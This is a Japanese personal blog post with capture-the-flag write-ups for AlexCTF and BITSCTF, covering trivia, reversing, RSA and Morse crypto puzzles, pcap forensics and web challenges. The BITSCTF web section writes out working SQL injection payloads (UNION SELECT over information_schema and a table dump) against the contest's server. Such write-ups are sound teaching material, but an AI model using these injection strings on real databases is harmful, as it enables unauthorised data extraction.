jtwp470’s blog

日記とかプヨグヤミングとか

週末CTF Writeup

こんにちは.たんごです. 最近は卒論の執筆に追われSECCONを最後にCTFから一旦身を引いていましたが卒論も提出し残すは発表のみとなりました.今週は2つのCTFが開催していたので思い出すために少し挑戦してみました.

AlexCTF

1140 pt で 219位でした.まずまずという印象.

Trivial

TR1: Hello there

ヒントなし.Guessing. ひとまずIRCにログインしてみる.するとあるやーん

f:id:jtwp470:20170204234951p:plain

Flag: ALEXCTF{W3_w15h_y0u_g00d_luck}

TR2: SSL 0day

サーバーとクライアント間でサーバーのメモリリークする脆弱性は? Heartbleed

TR3: CA

Alexctfのhttps証明書のCA名は? letsencrypt

(みんな大好きって感じですね)

TR4: Doen’t out logo look cool?

トップページにあるロゴの文字列からアルファベットと数字, アンダースコア, {}のみを抽出する.

Flag: ALEXCTF{0UR_L0G0_R0CKS}}

Reversing

Re1: Gifted

stringsするだけ.

Flag: AlexCTF{Y0u_h4v3_45t0n15h1ng_futur3_1n_r3v3r5ing}

Re4 unVM me

Pythonコンパイルされたコードが渡されるのでpycdcでデコンパイルし元のソースコードに戻す.するとこのソースコードを見ると次のことをすればフラグが出てくるみたい.

  • フラグの長さは69 より短い
  • フラグの長さは5で割り切れる
  • フラグフォーマットより一部文字列がわかっている: ALEXCTF{<something>}
  • フラグを5文字ずつ区切りスクリプト内にあるmd5と比較している

最初にアルファベットと数字の組み合わせで5文字ずつ上のスクリプトを書こうかと思ったがもしかするとMD5の値自体がインターネットの海に保存されているかもしれないとエスパーし探してみたところ普通に見つかった.

f:id:jtwp470:20170204214447p:plain

Flag: ALEXCTF{dv5d4s2vj8nk43s8d8l6m1n5l67ds9v41n52nv37j481h3d28n4b6v3k}

Crypto

CR1: Ultracoded

コネコネするとBase64文字列が出てくるのでそれをさらにデコードすると次のような文字列が出てくる.

.- .-.. . -..- -.-. - ..-. - .... .---- ..... --- .---- ... --- ..... ..- .--. ...-- .-. --- ..... . -.-. .-. ...-- - --- - -..- -

雰囲気的にモールス信号なのでアルファベットに直す.

ALEXCTFTH15O1SO5UP3RO5ECR3TOTXT

あとはエスパーで{}を追加しかつOをアンダースコア(_)に置換したものがフラグだった.

Flag: ALEXCTF{TH15_1S_5UP3R_5ECR3T_TXT}

CR3: What is this encryption?

典型的なRSA暗号の復号化をする問題.ありがたいことに既にp, qがあるのでdを求めて暗号文を復号するだけの問題. 適当にやれば5分くらいで解ける問題

Flag: ALEXCTF{RS4_I5_E55ENT1AL_T0_D0_BY_H4ND}

CR4: Poor RSA

またしてもRSAの問題.与えられたファイルを展開すると次の2つが得られる.

  • flag.b64
  • key.pub

これよりkey.pubに保存されている公開鍵から秘密鍵を生成すれば良い.OpenSSLのコマンドで中身をダンプする.

openssl rsa -noout -text -inform PEM -in key.pub -pubin
Modulus (399 bit):
    52:a9:9e:24:9e:e7:cf:3c:0c:bf:96:3a:00:96:61:
    77:2b:c9:cd:f6:e1:e3:fb:fc:6e:44:a0:7a:5e:0f:
    89:44:57:a9:f8:1c:3a:e1:32:ac:56:83:d3:5b:28:
    ba:5c:32:42:43
Exponent: 65537 (0x10001)

399ビットなのでタイトルからも考えられるように多分これは素因数分解が可能なはずである.factordb.com で検索してみると出てきました.

p = 965445304326998194798282228842484732438457170595999523426901
q = 863653476616376575308866344984576466644942572246900013156919

あとはこれからPEM形式の鍵を生成して解読する.

$ base64 -d flag.b64 | openssl rsautl -decrypt -inkey priv.key
ALEXCTF{SMALL_PRIMES_ARE_BAD}

Flag: ALEXCTF{SMALL_PRIMES_ARE_BAD}

Forensics

Fore3: USB probing

渡されたpcapファイルにはUSB通信をsniffしたと思われるキャプチャデータが含まれている. サイズが一番大きいパケットを見てみるとヘッダにPNGとあるのでこれはPNGファイルが含まれているのでは? と踏み,Leftover Capture DataをExportしてプレビューでみてみる.

f:id:jtwp470:20170205001648p:plain (ファイルが壊れていてHatenaが受け付けないのでキャプチャを)

Flag: ALEXCTF{SN1FF_TH3_FL4G_OV3R_U58}

PPC

SC1: Math bot

結構大きめの桁数の四則演算を高速で返せばよい.計算式を受けとってPythonのevalにそのまま投げるようにしてその計算結果を返すようなスクリプトを書いた.後は250回連続で正解するとFlagが得られる.

Flag: ALEXCTF{1_4M_l33t_b0t}

BITSCTF

あんまりやる気が出なくてこっちのCTFはほとんど頑張らなかったですが130 ptで 96位. みんなやる気がないのがよくわかりますね.

Web

BOTBOT

/robots.txtをみてという感じの問題.

$ curl http://botbot.bitsctf.bits-quark.org/fl4g/
BITCTF{take_a_look_at_googles_robots_txt}

Batman vs Joker

Get to the databaseより普通にSQLiするのかなと考える.

例えば1'と入力すると次のように出力される.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' Limit 1' at line 1

これよりデータベースサーバーはMySQLであることがわかる.

テーブル一覧を取得する.

1' union SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema';#

すると

f:id:jtwp470:20170204215421p:plain

のように大量に返ってくる.怪しいJokerあたりを漁る.

1' union select * from Joker;#

次のように返ってくる.

First name:Harry
Surname: Potter
First name:BITSCTF{wh4t_d03snt k1ll y0u, s1mply m4k3s y0u str4ng3r!}
Surname: Enjoying the game Batman!!!

久々にSQLインジェクションをしたので思い出すのに良い問題だったw

Rev

Riskv and Reward

バイナリをダウンロードしてfileしてみる.

$ file riskv_and_reward
riskv_and_reward: ELF 64-bit LSB executable, UCB RISC-V, version 1 (SYSV), statically linked, stripped

UCB RISC-V? とかいう謎のアーキテクチャが出てくる.そういや最近RISCとかいうARMと違って完全フリーなアーキテクチャが開発されているというような情報を耳にしたなぁと言うのを思い出し,適当に検索をかけると

riscv.org

でてくる.なるほどUCBはカルフォルニア工科大学バークレー校のことか. QEMUとかソフトウェアエミュレーションはどこかで作成してるやろと思いGitHubを覗くとお望みのプロジェクトが存在してる.

github.com

あとは適当にLinuxVMでメモリを少しデカ目に設定してビルドすれば普通に使える. 試しにドキュメントどおり実行してみる.

$ ./riscv-qemu/riscv64-linux-user/qemu-riscv64 -L $RISCV/sysroot ./riskv_and_reward
BITSCTF{s0m3_r1sc5_4r3_w0rth_1t}

ありゃ簡単にフラグが出てきちゃったw やるだけ問でした.

for

Woodstock-1

よくわからないプロトコルで通信している.普通にstringsでフラグ見つけた.

$ strings ws1_2.pcapng | grep BITS
$MyPass BITSCTF{such_s3cure_much_w0w}|

Flag: BITSCTF{such_s3cure_much_w0w}

所感

久々にCTFをやったので少しツールとかやり方忘れてた感じがあったけど思い出した. 週末に2つCTFを企画するのはやめてほしい.あと簡単なRSA系の暗号を解くときにいちいちソルバ探すの面倒くさいからいい加減自分用のライブラリ作成したいという気持ちになりました.